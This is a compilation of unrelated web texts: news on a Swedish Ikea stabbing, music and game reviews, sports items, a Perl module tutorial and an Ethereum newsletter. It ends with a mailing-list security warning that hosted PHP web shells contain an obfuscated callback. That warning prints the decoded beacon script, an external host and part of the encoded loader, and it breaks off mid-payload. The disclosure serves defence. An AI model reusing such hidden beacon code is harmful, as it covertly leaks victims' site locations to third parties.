But Västerås police chief Per Ågren told reporters there were "no political overtones" in the investigation.
Deputy Chief Prosecutor Eva Moren also told Swedish media at the conference that the stabbings were unlikely to have had a political or personal motive.
"At the moment there is nothing to suggest that there is any connection between the suspects and the victims."
She confirmed that a knife had been used in the attack and said that police had found the suspected weapon.
The 23-year-old suspect's lawyer Maria Wilhelmsson told the TT news agency on Tuesday that her client was innocent and suggested that he had simply been "in the wrong place at the wrong time".
"He has been there [Ikea] but he didn't do anything," she said.
Västerås police chief Per Ågren. Photo: Fredrik Sandberg/TT
A press spokesperson for Ikea, Daniela Rogosic, told The Local on Tuesday morning that the company was offering counselling to staff at the branch where the violence took place and said that the store would remain closed until further notice.
"Right now our full focus is on our coworkers but of course our thoughts go to the victims and their families as well," she said.
She said that around 300 people are employed at the Västerås Ikea, but was unable to confirm how many had been inside the building at the time of the stabbings.
Police outside the shopping centre where the Västerås Ikea branch is based. Photo: Fredrik Sandberg/TT
Emergency services were called to the Ikea complex just after lunchtime on Monday. Store workers told Swedish media that ambulances and police cars arrived after staff screamed through the shop's intercom system that customers should leave the shop. Klara Holmgren Rappu, who works as a hairdresser close to the Ikea store told Swedish broadcaster SVT that police officers had visited her salon to tell staff that "the killer was still in the building". "They shouted through the speakers that the premises would be vacated. Then I saw a person came out on a stretcher, paramedics ran away with one person on a stretcher," she said. Another witness, Sami Salim, who has a job at a restaurant at the retail park, told Swedish newswire TT: "People started screaming'stabbing spree, stabbing spree' and only within a short time, there were several police officers there."
shaky video clip filmed by a passerby that was published on the website of regional daily VLT showed police arresting one of the suspects at a bus stop outside Ikea.
"I saw police come running toward a man standing and waiting at the bus stop. The arrest happened really fast, the man didn't put up a fight but he was loud. He was maybe 30 or 40 years old," Fredrik Pikkuaho, who filmed the clip, told VLT.
Police can be see pushing the man to the ground but the suspect's face cannot be seen clearly.
Ikea evacuated and closed the store on Monday, and it was not immediately known when it would reopen.
Västerås, an industrial city with around 110,000 inhabitants is located about 100 kilometres (60 miles) from Stockholm, is Sweden's fifth-biggest urban area.
Police have boosted security at other retailers in the area after the attack to reassure shoppers.
They have also stepped up surveillance at asylum centres across Sweden, including at the centre where the two
suspects resided in Arboga, some 50 kilometres from Västerås.Apple code-signs their Passbook cards, and it's not yet clear if Microsoft is simply accepting Apple certificates or accepting any pass regardless of whether it's signed or not.
Passbook passes are just collection of data that get rendered into a card and displayed in Apple's Passbook app. Think of the Passbook files like the HTML, CSS, and JavaScript data that makes up a webpage, and the Passbook app like the browser that renders the actual page. It looks like Windows Phone 8 is taking the same data and rendering a similar card out of it, and then pushing that card to Microsoft Wallet.
When Apple introduced Passbook in iOS 6 they billed it as a way to store all your tickets, coupons, boarding passes, loyalty programs, and other cards all in one place. It's hard to imagine they expected that place to one day be Microsoft Wallet, but thanks to Windows Phone 8.1 that appears to be exactly what's happening.
Apple also provides a push-notification-based service to update cards, like gate numbers on boarding passes or balance info on Starbucks cards. Windows Phone can read and render the.pkpass bundle, but they probably can't hook into Apple's push system so, if updates are possible, there'd have to be some Microsoft-specific support from the supplier, or laborious polling process in place.
In a perfect world a system like Passbook would be universal and everyone could use and benefit from it no matter who manufactured their device or built their operating system. That's how we get standards and standards is how we get mass market adoption.
From Apple's point of view, however, Passbook is a feature that adds to the value of the iPhone and the experience of iPhone customers.
If there's no official agreement going on here, it's possible Apple would put a stop to Passbook support when they find out about it and if they can, technically or legally. If there's some form of cooperation going on, or some future agreement to be had, that could end up being a good solution for everyone, from the companies to Apple and Microsoft to us, the people who want these kinds of services made ubiquitous.
What about you — do you like the idea of Windows Phone 8.1 working with Passbook?
Via: @tomwarren
Daniel Rubino contributed to this story.BEGGAR PRINCE Role-playing game (RPG)
for Sega Genesis / Mega Drive WHEN THE PRINCE BECOMES A PAUPER... The snobby, selfish prince of Shatt Kingdom unknowingly aids a great threat to his world after he switches places with a beggar who looks just like him. Wanting only to escape the daily drudgery of his palace life, he has no idea what evil lies in wait around every corner. This careless brat of a boy is now the last chance for his kingdom to remain in peace, rather than be enveloped in chaos. Guide him on his way to learning the path of a true prince, and save his world from sinking into darkness. Game features: · Beautiful high-color graphics
· An exciting story filled with challenges and humor
· Intense battle system including over 30 magic spells
· Battery backup save function
· Huge 32-megabit game cartridge BUY THE GAME This game is currently out of stock.
To be notified if and when this game becomes available, please join our mailing list.
Includes: Cartridge, manual, cardstock box
Status: Out of stock NTSC and PAL compatible ▼ Have a look at some screenshots! ▼ All content © Super Fighter Team. All rights reserved. Reproduction without prior written consent is prohibited by law.The legend of the rise of some bands provides local lore for families to pass down. The Pacific Northwest will always have this with Nirvana, and in New York City, it might be seeing the Ramones at CBGB. For Los Angeles, and particularly Hollywood and the San Gabriel Valley, it is Van Halen. Growing up here, with a mother raised near Van Halen’s hometown of Pasadena, seeing the Van Halen brothers at a barbecue or at a tiny club became the tales that uncles would recount of their youth, that would allow their eyes to glaze over and their minds to slip away to a different era. That even a memory of music or a band can provide this transportive experience speaks to the power that music possesses.
This was in full effect on Friday night at a packed Hollywood Bowl. Nearing the end of a long summer tour, the two Van Halen brothers, Alex and Eddie, along with Eddie’s son Wolfgang and their long-time frenemy lead singer David Lee Roth, delivered 140 minutes of unapologetic rock, where men and women alike could relive their own youth, dancing in the aisles and playing air guitar with their friends. And onstage, that same effect was in action.
As with any band of aging rock stars, Van Halen’s 2015 selves are prone to wax nostalgic, very much aware that their audience is looking to relive the past as much as they are hoping to enjoy the present. And some of the evening’s lasting impressions were when frontman Roth, with his ever-changing parade of flashy stage costumes and predilection for giving thumbs ups to random points on the stage, would embrace that. Though inclined to jabber throughout his songs, sometimes incomprehensibly and sometimes with on-point witticisms, it was when the music wasn’t the focus that Roth proved himself to be a lucid, engaging storyteller. An early section of the show found him giving dance lessons, showcasing some of his favorite stage maneuvers and giving their musical history. Later, during an acoustic interlude that found his bandmates offstage, Roth recalled memories of Hollywood clubs and alleyways, of wilder times that he was sure the audience would share. These glimpses into his own mind, into the tradition of Van Halen, put the concert in perspective and allowed those of us too young to share in the Van Halen mythos to comprehend the emotions present in the middle-aged men that surrounded us.
Musically, the band often sounded less like the memory of Van Halen and more like what you’d expect of a group of 60-year-olds. Eddie Van Halen is still very much the guitar god he has always been, handling every iconic guitar lead, from the set-opening “Light up the Sky” and “Runnin’ with the Devil” to the night’s ending hit parade of “Panama” and “Jump”. The guitarist even showcased his trademark finger tapping during his late-set guitar solo, the kind of indulgent moment that the ’80s thrived on, with Eddie missing only the long hair of his youth to recall the stadium shows that Van Halen headlined in their prime. But his drumming brother, Alex, was less on point, finding it hard to keep up with songs and progressively tiring over the course of the set, to the point that “Jump” was only held together by the audience’s commitment to singing along.
But it is Roth that allows the ship to sink and sail. Van Halen has notably been one of the few successful bands in rock and roll history that have considered their frontman expendable, but watching Roth soak up the love of the audience makes it hard to imagine Van Halen being much of a band without him. And though the group spent decades at odds with each other, Van Halen in 2015 finds the hatchet very much buried, with Roth putting his arm around Eddie during the middle of the set to let him know “the best years of my life were spend on stage next to you.”
For this night at the Bowl, and surely for the entirety of the Van Halen tour, musicians and fans alike were invited to relive their own happiest times, their spirited youth gone by, with music being a great way (and maybe one of the only ways) to make that possible.
Van Halen Setlist:
Light up the Sky
Runnin’ with the Devil
Romeo Delight
Everybody Wants Some!!
Drop Dead Legs
Feel Your Love Tonight
Somebody Get Me a Doctor
She’s the Woman
I’ll Wait
Drum Solo
Little Guitars
Dance the Night Away
Beautiful Girls
Women in Love
Hot for Teacher
Dirty Movies
Ice Cream Man (John Brim cover)
Unchained
Ain’t Talkin’ ‘Bout Love
Guitar Solo
You Really Got Me (The Kinks cover)
Panama
JumpFLOWERY BRANCH, Ga. -- Wrestling legend Ric Flair, a special guest at Atlanta Falcons training camp Tuesday, praised star receiver Julio Jones while calling out Washington Redskins cornerback Josh Norman.
The "Nature Boy," a guest of Jones, addressed the Falcons following practice, firing up the entire squad with his trademark "Wooooooo!'' before breaking the huddle.
Afterward, Flair shared a special message about Jones with ESPN and called out Norman, the former Carolina Panthers cornerback who will suit up for the Redskins against the Falcons on Thursday night.
"This is the 'Nature Boy' Ric Flair at Falcons training camp with my main man, my brother, Julio Jones, the greatest wide receiver in the NFL,'' Flair screamed. "That's right, Josh Norman: The best. Nobody catches up to Julio Jones. Wooooooo! Go Falcons.''
Flair, who used to live in Charlotte but now resides in the Atlanta area, expanded on his thoughts about the Falcons.
"I met Julio at Lake Lanier, and my family has been big Falcons fans,'' Flair said. "I am a Falcon fan now. It's easy to say you're a fan of Tom Brady and the Patriots. But now, I want someone in this conference (NFC South) to step up, and this could be Atlanta's year. The Panthers gave up a lot on defense. I think (the Falcons) can do it, if everyone stays healthy.
"I think Julio is one of the most wonderful, most polite, most articulate guys I've ever met. From texting and talking and just being so kind to people. He doesn't have to be, but he's such a quality guy. He's first class.''
Flair expressed an equal amount of respect for coach Dan Quinn after meeting the Falcons' coach for the first time Tuesday. The respect is mutual.
"You could see the energy,'' Quinn said of Flair. "(He) was talking with us and having some fun. So it was great to have his support and being a part of it for us today. You could tell he's a big fan, and we're also a big fan of his.''Let's look at some module that are installed with perl by default, and let's look a bit behind the scenes of the modules.
You already know that when perl encounters a use statement, it will look for a file with the same name, but with.pm extension in the directories listed in the @INC array.
So if we write use Cwd;, perl will look for a file called Cwd.pm in the directories listed in @INC.
What is in @INC you can check using perl -V as explained in this episode.
perldoc
If you don't have the perldoc command installed then on Linux system you usually need to install the package called perl-doc in order to have the perldoc command.
If you have it then you can type perldoc Cwd (or the name of any other module) and it will show the documentation of the module. (Use the space-bar to go forward a page and use the q key to quit the reader.)
Running perldoc -l Cwd will print out the location of the file containing the module: /usr/lib/perl5/Cwd.pm.
This can be a useful aid to make sure the correct version of the module is loaded.
perldoc -m Cwd will show the source code of the file implementing the module.
As we flip though the source code of Cwd we can see it uses strict and we can also see the following snippet:
@EXPORT = qw(cwd getcwd fastcwd fastgetcwd); push @EXPORT, qw(getdcwd) if $^O eq 'MSWin32'; @EXPORT_OK = qw(chdir abs_path fast_abs_path realpath fast_realpath);
We can see how it inserts values to the @EXPORT ok, but the next line is interesting. It pushes another entry onto the @EXPORT array if the operating system is MS Windows.
From this you can see that these variables can be quite dynamic and can be filled based on various conditions.
There is also the @EXPORT_OK array with additional functions that can be imported optionally. If they are needed, but they won't be imported by default.
So now you also know how to look at the source code of a module on your system. Alternatively you can browse to the module on MetaCPAN, for example to the Cwd module and click on the "Source" link on the left hand side. That will show the source code of the most recent version of the module.Features 10 Video Game Moments That Had Me Crying Like a Little Tiny Child By
For those that don’t know, here in the United States men are basically taught not to cry. ‘Murica. Social norms dictate that it shows weakness and popular culture tells us it’s unmanly. There’s also something about it preventing cancer. Here’s the thing though: bawling your eye sockets out is actually a healthy thing to help us get over whatever stress we have in our lives or show we care deeply about something. [Ed: Not me, I glued my tear ducts closed.]
Alright, so you now just realized as a man, or woman, it’s OK to let loose that salty goodness when you’re upset. But you actually need a motivation to cry right this moment. Don’t worry about that because the art form known as video games has you covered. You see, video games are way more interactive than books or movies. Not only do you form bonds, memories, and relationships with gaming characters but you have a direct control in how and what they do. Each success and failure weighs on you and if the characters you’ve fallen in love with live or die. It’s like if your actions determined what kindergarten classmates would return to school the next day alive. Point being things can get pretty heavy in the world of gaming. So in realization of this false machismo everywhere (and Horizon Zero Dawn being such a beautiful game), here are ten moments that made me (a man) cry my eyes out. Oh, and beware of spoilers ahead.
End of the First Kingdom Hearts
Alright so if you couldn’t tell by the first entry, there will be spoilers. Although if you haven’t played most of the video games on this list then I have to wonder what you’ve been doing with your life. Unless you knew these games would make you cry and avoided them accordingly. Don’t worry, I’ll be gentle.
So the first Kingdom Hearts title took you on a grandiose adventure of a teen named Sora. Him and his friends lived on a pretty small series of islands and dreamed of going to other worlds. We have to assume their home lives were pretty bad since they wanted to run away from a Caribbean paradise with no danger to speak of. We also have to assume their schooling system wasn’t the best because they tried to go to other worlds via a raft. Not just any raft, a small one made up of five logs and a mast. Stupidity aside their world is soon attacked by darkness minions known as the Heartless. Before they know it their entire planet is swallowed up and destroyed, everyone they’ve known is presumably dead, one friend mysteriously vanished in a haze, and another was engulfed into a pit of darkness.
Feeling the tears already huh? Just try to hold them in so you can explode in a massive wave of feel good cries. Our hero wakes up on another world and goes about trying to make sense of things. He eventually comes across his companions, Donald and Goofy, and the three go about trying to achieve different goals. Sora’s is clearly finding his friends. Adventures abound, different worlds are rescued from the Heartless, new friends are made, and sadly friends become enemies. You see one of Sora’s friendly island buddies, Riku, thought it would be a good idea to join the powers of darkness to rescue their other friend, Kairi. Then through teen angst, Riku thinks Sora doesn’t care about them as he’s off dawdling around on other worlds.
Fast forward most of the game where villains are vanquished, plot points are revealed, Riku realizes the error or his ways albeit too late, lives are lost, and the main bad guy is defeated. The worlds are slowly returning to normal and everything is hunky dory. Sora will be able to join Kairi back on Destiny Islands and then they’ll go about saving Riku from the darkness realm. Psyche! Sora and company decide they need to stick together to have the best chance of finding their lost friends. They have no idea how long it will take but they know in their hearts they need to do it.
So the worlds are re-materializing, Sora and Kairi have an emotional goodbye as they’re rushed to say how they truly feel about each other and what the plan is. All the while heartbreaking music plays. Eventually, the two are split apart by the worlds coming back and Sora’s choice to stay behind. They share a loving gaze before they are removed from each others view and the incredibly bittersweet ending plays. Little did they know they wouldn’t see each other for over a year and one person (who shall not be named) even forgot about everything that happened.
All of Ni No Kuni: Wrath of the White Witch
There’s not a scientific quantity that could keep track of how many times this game will make you cry. It’s a JRPG that focuses on main character Oliver who is just a boy. At the very beginning of the game, his mother saves him from drowning only for her to have heart problems because of it and die. Que the next scene and our hero is a blubbering mess. He doesn’t know what he’s going to do or what’s next for his life. Luckily, all his crying made his toy doll come alive and reveal there’s a whole alternate world out there. Not only that but each person in his world has a soul mate they’re linked to in Oliver’s world. So it’s perfectly possible to not only meet his mother again, but to bring her back as well! O happy day and everything’s going to be ok since our hero is just a child.
You must have forgotten the title of this article huh? Well it turns out that his mother was quite the badass wizard but wasn’t quite strong enough to defeat one of the main antagonists of the game named Shadar. She retreated to Oliver’s world in order to find a way to defeat the baddie but ended up giving birth to Oliver himself. Not only that but Oliver was the soul mate link to Shadar. Obviously, the mother couldn’t snuff out her own child and the sinking realization came that Oliver’s mother had originally come from the alternate world. So the mother had “died” in both worlds and couldn’t be brought back. But wait! There’s more!
One of the companions, Swaine, was a runaway from his kingdom he was the prince of. You see he was jealous that his father seemed to favor his brother over him. So he ran away and ran he did. Unfortunately, while he did so his father was murdered and he felt incredibly guilty that he couldn’t rectify the heartbreak. Turns out through plots of the story, our band of heroes gets to travel back in time! They go on to meet his dad but Swaine decides to play it cool harboring some small resentment still. That is until Shadar strikes again and mortally wounds the king. The father and son finally have a heart to heart talk after the king reveals he knew Swaine was really his son all grown up. Swaine’s dad then passes away too much sadness and they learn how he died in the first place.
If you’re crying your eyes out already over this game, then I apologize because there’s just one more example out of many I’d like to bring up. You see the other main bad guy (or should I say girl) is the White Witch. She was a powerful sorcerer and ruler in the alternate world centuries ago. She wanted to do nothing more than to help her subjects. Sadly, the council that acted like a governing body tricked her into performing a spell they said would help everyone. The White Witch did so and the spell killed everyone in her kingdom exceptionally slow and painfully. She was so wrought with grief that she buried her true self deep inside while her anger and depression took control. Eventually, she had a hold of every country in this world and contributed to a lot of suffering for eons.
Achilles’ Death in Assassin’s Creed III
Like it or hate it, you have to admit AC3 had one of the best mentor characters in all of gaming. Once you’re in control of grown up Ratonhnhake:ton (or Connor), a native american whose father is a high-ranking Templar, you’re led on your journey to Achilles Davenport’s house by powers beyond your control. You seek training and mentorship from the old Assassin but he rudely rebukes you. He did this because of the tragedy in his past. You see Achilles was a pretty big figure of the Assassin Brotherhood when the colonies of the new world were just starting to form. Some would say he was the defacto leader of the organization in the thirteen colonies. Regrettably it all came crumbling down due to his unintended arrogance and disbelief. One of his brightest students defected to the Templars (but for good reason) and essentially caused the downfall of the entire order. Eventually, all Assassin’s in the new world were exterminated except Achilles. He was kept alive as a warning but was crippled in order to ensure there would be no revenge taking. O and during all this his wife and son died of typhoid fever. So yaaaaaaaay….
Through a series of events and Connor’s hardheadedness, Achilles reluctantly agrees to lend out his training. The rest of the game was only possible thanks to the old mentor and provided our new Assassin with all the weapons to go up against the Templars. Not to mention the way Achilles’ land became a small town with a bunch of wonderful people. All of which looked up to the old man as a father figure. Good and bad times were had but everyone, including the player, loved Achilles. That is until late in the game where he passes away. I didn’t think this would happen as the game would end and everyone would assume he just died in the years to come. Nope!
Everything about the discovery of his body to the funeral was upsetting: Connor stumbling upon the dead mentor in his chair, reading the heartfelt letter left behind as you dig a grave in the rain, the preparation of the service, letting all the settlement people know, and the funeral itself. What’s worse (or better depending on your outlook) was Achilles dying by just passing away in his sleep. There was no Templar revenge or some horrible raid on the house. Just the cycle of life taking its toll. I know the death of Ezio’s family towards the beginning of ACII was also pretty heartbreaking. It’s just that not enough time was spent with the family to truly pack that punch of, “wow, my character’s family is dead and never to be seen again.” Compared to Achilles who you spent in-game years and fifty plus hours with.
The Reveal of The Vanishing of Ethan Carter’s Story
The Vanishing of Ethan Carter never looked like a particularly cheery game. It advertised itself as a family torn apart by supernatural forces. When I say torn apart I mean that literally. People were going to die in gruesome ways. Luckily, a world-famous detective had gotten some mail from the family’s youngest child. It detailed some strange going-ons in Wisconsin and he needed help. Once the detective arrives and starts scoping things out, the family has already killed each other silly. One was drowned, another took a weapon to the face, and more.
However, not all is as it seems. When the boy is finally found the detective mentions it’s time for him to go. Turns out the whole adventure was made up by the youngest kid because he was trapped in the family’s burning lakeside house. The entire game took place in his mind. Why would he make it up you ask? Well not for nothing but the kid was going to die. He imagined all this so his mind could make sense of why he had to move on. Yea, that’s the end of the game. The small kid kicking the bucket in a burned down house as his plenty alive family tried to help. Life just isn’t fair huh?
The Walking Dead’s Kenny Losing His Wife and Child
I know, I know. Some of you are infuriated that this one doesn’t deal with Lee and Clem. Especially when Lee dies at the end. I did mention spoilers right? Point being there is not a lot in this game that causes happy emotions. I could make an entire list every week for a year about The Walking Dead titles by Telltale but I only want to make people cry. Not ruin their lives. The moment that got to me the most though was when main protagonist buddy, Kenny, learns that his son, Duck, was bitten by a walker. Of course, that in itself is depressing enough but nooooo it doesn’t stop there.
After much uncertainty about what to do Lee, Kenny, and Kenny’s wife, Katjaa, take a heavily ailing Duck into the woods. Depending on player choices will determine how things are done but the outcome remains the same. A poor Duck passing away due to his bite and both mother and father being incredibly distraught. Then Katjaa uses a gun on herself and well…I’m sure you can figure out what that does to a person. Immediately after, Duck shows signs of reanimating and has to be shot by either Lee or Kenny. The whole ordeal leaves Kenny a visibly broken man but he continues to help Season 1’s group out. So yea, don’t be too upset with your parents when they ask you to do a few chores?
The Last of Us’ Opening Chapter
We knew this was coming from the moment we inserted the disc into our PlayStations, but it still left us ragged. You probably have seen this one on any article about lists of sadness but there’s a reason for that. The very beginning of The Last of Us shows us a great father, Joel, and his daughter, Sarah, bantering about life. Including and I quote, “drugs, I sell hardcore drugs.” Immediately it’s made apparent how much the two love each other, hardcore drugs aside, and Naughty Dog’s ability to utilize visuals, sounds, and dialogue really brings it home. But that’s when the fire nation attacked…errr…I mean that’s when things went south and would mark the first time every grown man all over the world would cry in a rated M game. [Ed: Nope, not me. I’m cold. Doctors delivering my son into the world was like Dominoes delivering pizza. I don’t like pizza…]
When you take control of Sarah, she roams around the house looking for her dad. She finds him when he rushes into the house, loads a gun, and shoots the infected neighbor close behind him. Then Joel’s brother, Tommy, picks the pair up as they try to escape the area from the infected. They’re stopped by a ton of traffic, a military checkpoint, and more infected people running around trying to kill everyone. The trio’s truck is eventually crashed into and they all survive but Sarah’s leg is broken. Joel puts Sarah in his arms and they make a mad dash for their survival. People are running everywhere, cars are crashing, a gas station explodes, and just all around chaos ensues.
Unfortunately, the two get |
to be anybody shooting back because they all believed that no defense is a good defense, that’s what they’d been preached about. It’s just, it was so needless. There was nobody who was able to resist.”
“It was a gun-free zone, thanks in part to the pastor, the state senator,” he said, blasting the pastor who supported keeping a policy that allows churches to choose whether or not to allowed concealed carry, or, as Pratt called it, “that stupid provision that if the church wants to be defenseless, that’s fine.”
H/T reader ErikSAN FRANCISCO (Reuters) - The government blocked an effort on Monday by California to reduce its health-care spending by requiring those enrolled in its Medi-Cal program for the needy to make copayments for medical services.
The Centers for Medicare & Medicaid Services informed California by letter that it was “unable to identify the legal and policy support” that would allow the state to require copayments to Medi-Cal under the Social Security Act.
The decision means California will not be able to count on $575 million in savings to its Medicaid program from the copayments in its fiscal year beginning on July 1 unless the Obama administration reverses the ruling.
California intends to seek a reversal, said H.D. Palmer, a spokesman for the state’s department of finance.
Governor Jerry Brown last month unveiled a budget plan projecting a $9.2 billion deficit. He urged a combination of spending cuts and revenue from a measure for the November ballot seeking tax increases that would balance California’s budget and provide a $1.1 billion reserve.May 28, 2017
Ethereum News and Links
Top - Tokens, tokens, tokens
Protocol
Stuff for developers
Ecosystem
Project Announcements
Interviews and Talks
Project Updates
Token Sale Announcements
Token Sale stuff
General
Dates of note
[For ongoing sales, check previous week]
June 1 – DCorp sale begins
June 1 – Prospectors sale begins
June 7 – Cofound.it sale begins [Disclosure: I’m an advisor]
June 17 – Status sale begins
June 26 – Adchain sale begins
Bias transparency: if you host a blockchain conference and don’t use Ticketleap, I’m much less likely to include your conference, unless you have a good reason as to why we’re not a good fit. But I doubt there is one, because we’re likely a great fit. /shamelessplug
[I aim for a relatively comprehensive list of Ethereum sales, but make no warranty as to even whether they are legit; as such, I thus likewise warrant nothing about whether any will produce a satisfactory return. I have passed the CFA exams, but this is not investment advice. If you’re interested in what I do, you can find my somewhat out-of-date investing thesis and token sale appreciation strategies in previous newsletters.]
Errors or additions: [first name] @ticketleap.com
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Sign up to receive the weekly email.Story highlights "Legend of Zelda: Skyward Sword" doesn't offer much that's new
Link the elf seems emotionless and the story's timeline is unclear
Wii MotionPlus controls offer some fun new challenges
"Zelda" has provided 25 years of joy, but the franchise needs some changes
On one hand, the "Zelda" franchise has provided many hours of enjoyment for fans for 25 years, while chronicling the adventures of everyone's favorite green-hat-wearing elf, Link. This game has that.
On the other hand, I was looking for something that was going to advance the franchise in new directions and possibly break some new ground. That didn't happen.
"Skyward Sword" is full of what we've come to know and love about Link. Maze-like terrain, challenging dungeons, familiar weapons and, of course, the quest to find Zelda. There is little here that we haven't seen before.
Epona, Link's trusted horse, has been replaced by a giant bird that carries him to distant locations. Unfortunately, there isn't much challenging or exciting about riding around on a flying bird after you've done it once or twice. (But, since Link is based this time out on a city floating in the sky, trying to ride a horse around could have gotten messy very quickly, I suppose.)
I was also confused about where this game falls in the "Zelda" timeline. Link appears to be slightly older, but he doesn't have any of his traditional garb or weapons. He is a recruit in the knights' program and, in fact, has to earn his familiar hat and clothing. Contrast that with previous games where Link looks like a kid.
Unfortunately, Link also seems to be missing his personality. He is, as always, silent, but really shows no reaction to anything that happens around him. In an early segment, Link is getting bullied but shows no outward emotions. It is Zelda who arrives to chastise the bullies and defend him.
Nintendo has said "Skyward Sword" lays the foundation for the events in "The Legend of Zelda: Ocarina of Time," but it doesn't feel like a precursor at all.
The gameplay is slow, with plenty of moments of inaction. Its pace is almost leisurely as Link goes from one mission or dungeon to the next. There's no sense of urgency, but that does allow players to fully explore without feeling as if they're missing something.
Environments are vibrant, with collectibles and creatures lurking around every corner. There is a maze-like quality when you're trying to reach some areas -- with only one path in and one path out. Usually, some puzzle needs to be solved to open the pathway and allow Link to continue.
Instead of Navi ("Hey, Listen!"), a mystical creature named Fi acts as sort of an artificial-intelligence program, helping out whenever something new comes up or if a player gets stuck deciding what to do next. Fi lives in the handle of Link's sword and comes out when summoned. She can also evaluate your gameplay and scan the surrounding area for any dangers or monsters.
Combat is decidedly different, since the game requires you to use Nintendo's Wii MotionPlus Control.
Defeating monsters, or solving some puzzles, requires precise motions to get past obstacles or slice open new pathways. This was a welcome change from straight button-pushing and injected a new level of challenge into combat.
The nunchucks attached to the Motion Plus Control act as your shield during combat and also help with special moves such as rolling or shield-bashing your enemies. The two controllers together work very well and made the combat enjoyable without making it tiring.
In the end, "The Legend of Zelda: Skyward Sword" is an underwhelming game that mostly sticks to the successful path that Link has been on for the past 25 years.
This is one series that can keep fans happy with its familiar concepts and characters. But the new game's minor tweaks don't inject new energy into the franchise. I wonder where Nintendo can take "Zelda" next without considering some radical changes.
"The Legend of Zelda: Skyward Sword" is available now in Europe, North America, Japan and Australia. It is a Wii exclusive title and is rated E10+ for Everyone 10 years old and older due to animated blood, comic mischief and fantasy violence. This review was done with a review copy of the game.UPPER MONTCLAIR, N.J. — Going into the final third of the season, confidence matters. Especially when, like the New York Red Bulls, you’re struggling to get results and you’re facing off against a longtime conference foe.
“The confidence as you can imagine is not the best,” Red Bulls striker Thierry Henry said at training on Thursday. “As I said after the game against Chicago, we are where we deserve to be.”
Last week’s 2-2 draw at home to the Chicago Fire left the Red Bulls in fifth place in the Eastern Conference, barely clinging to the final Wild Card playoff position. They have now gone six games in a row without a win.
On Saturday, they travel north to Gillette Stadium to face the New England Revolution (7:30 pm ET, watch LIVE online), who might be just the salvo for the Red Bulls’ woes. The Revs are winless in their last five matches, and have the second worst home record in MLS.
Still, beating a regional rival is never easy. The Red Bulls earned a 2-1 win at Red Bull Arena earlier this season, but have won only four times in 25 matches all-time in New England. The last victory came in 2002.
But midfielder Joel Lindpere, who scored the late equalizer against Chicago and fired up his team with his play, believes nothing but three points will suffice this time.
“All the games now are tough for us, and we need to win and play every match with the intensity [we showed against Chicago],” Lindpere said. “When we go up [to New England] this weekend, we need to play that way because we need the win.”
Leading scorer Henry will make his first visit to New England, and he is geared up for a tight battle against a team that has been one of the Red Bulls’ biggest rivals since the start of the league.
“It’s going to be a special one, and a derby on top of it,” Henry said. “We need to grab some points.”
Lindpere’s leading impression: Against Chicago, the Estonian midfielder was inadvertently kicked in the face by a Fire player, leaving his face bruised and bleeding. But he kept playing, seemingly inspired by the incident, and he scored the equalizer late in the second half.
“Joel is a versatile player, a player who brings a lot of energy to the game,” head coach Hans Backe said. “Normally the 10 players on the field feed off of someone like him. I think our team does.”
Solli Out: Right back Jan Gunnar Solli will miss a second straight game due to a hamstring injury. On Friday at training, Solli worked separate from the team, spending most of his time on conditioning and working primarily on opening up his stride following the injury.
“He’s not ready for this weekend,” Backe said. “Beginning of next week he should be good.”
On a positive note, Backe announced that Teemu Tainio (groin) will play.
Kristian R. Dyer can be followed at twitter.com/KristianRDyerFull Disclosure mailing list archives
Warning - t00ls.org hidden callback in shells
The c100 shell (and likely several of the shells) available at t00ls.org(which is one of the top ranked sites for various shell-related google searches, e.g. "c99 php<http://www.google.com/search?hl=en&rlz=1C1CHFX_enUS372US372&q=c99+php&aq=f&aqi=g3g-v7&aql=&oq=>") has a callback hidden within its code that contacts the site and lets them know where you installed the c100 shell. The backdoor code is obfuscated within the shell files (the encoded/obfuscated version will be attached to the bottom of this post). *Decoded, the backdoor script looks like this:* <SCRIPT SRC=http://data.t00ls.org/where.js></SCRIPT> *Contents of http://data.t00ls.org/where.js* a=new/**/Image();a.src=' http://xmors.byethost7.com/him.php?a='+escape(location.href); *http://xmors.byethost7.com/him.php receives the location of the installed script, then writes it to http://xmors.byethost7.com/mynameisahmed..html* The above page has lists of hundreds of sites that had the script installed. You'll notice many people ran it on a localhost, causing the script to save a localhost address. I ran into the site after testing an upload script I had on hand by embedding a c100 shell inside a GIF comment field. You'll see one of my domains (social-paste.com) on that list - however, I immediately removed the shell after I tested it. I became curious because I saw somebody from the byethost7.com domain in my logs attempting to access the shell which I had deleted, so I investigated. (His IP, for those curious to know, is 41.233.222.77, which seems to be from Cairo Egypt) This guy's him.php script is likely vulnerable to XSS attacks (I bet it writes the received variable straight into the html of the mynameisahmed..html file without sanitizing it). I purposely didn't test it, though. *The encoded script hidden in the c100 file:* <script type="text/javascript" language="javascript"> <!-- fF7eSD8=new Array(); fF7eSD8[0]="%3Cscript%3E%0Adocu"; fF7eSD8[1]="ment.write%28une"; fF7eSD8[2]="scape%28%22%253Cscri"; fF7eSD8[3]="pt%2520type%253D%25"; fF7eSD8[4]="22text/javascr"; fF7eSD8[5]="ipt%2522%253Edo"; fF7eSD8[6]="cument.write%25"; fF7eSD8[7]="28%2527%255Cu00"; fF7eSD8[8]="3c%255Cu0073%255C"; fF7eSD8[9]="u0063%255Cu0072"; fF7eSD8[10]="%255Cu0069%255Cu"; fF7eSD8[11]="0070%255Cu007"; fF7eSD8[12]="4%255Cu0020%255C"; fF7eSD8[13]="u0074%255Cu007"; fF7eSD8[14]="9%255Cu0070%255Cu"; fF7eSD8[15]="0065%255Cu003d%25"; fF7eSD8[16]="5Cu0022%255Cu0"; fF7eSD8[17]="074%255Cu0065%255C"; fF7eSD8[18]="u0078%255Cu0074%25"; fF7eSD8[19]="5Cu002f%255Cu"; fF7eSD8[20]="006a%255Cu0061%255"; fF7eSD8[21]="Cu0076%255Cu0"; fF7eSD8[22]="061%255Cu0073%25"; fF7eSD8[23]="5Cu0063%255Cu00"; fF7eSD8[24]="72%255Cu0069%25"; fF7eSD8[25]="5Cu0070%255Cu"; fF7eSD8[26]="0074%255Cu0022"; fF7eSD8[27]="%255Cu003e%255C"; fF7eSD8[28]="u0064%255Cu00"; fF7eSD8[29]="6f%255Cu0063%255C"; fF7eSD8[30]="u0075%255Cu006"; fF7eSD8[31]="d%255Cu0065%255Cu"; fF7eSD8[32]="006e%255Cu0074%255"; fF7eSD8[33]="Cu002e%255Cu00"; fF7eSD8[34]="77%255Cu0072%25"; fF7eSD8[35]="5Cu0069%255Cu"; fF7eSD8[36]="0074%255Cu0065%25"; fF7eSD8[37]="5Cu0028%255Cu002"; fF7eSD8[38]="7%255Cu005c%255Cu"; fF7eSD8[39]="0075%255Cu0030"; 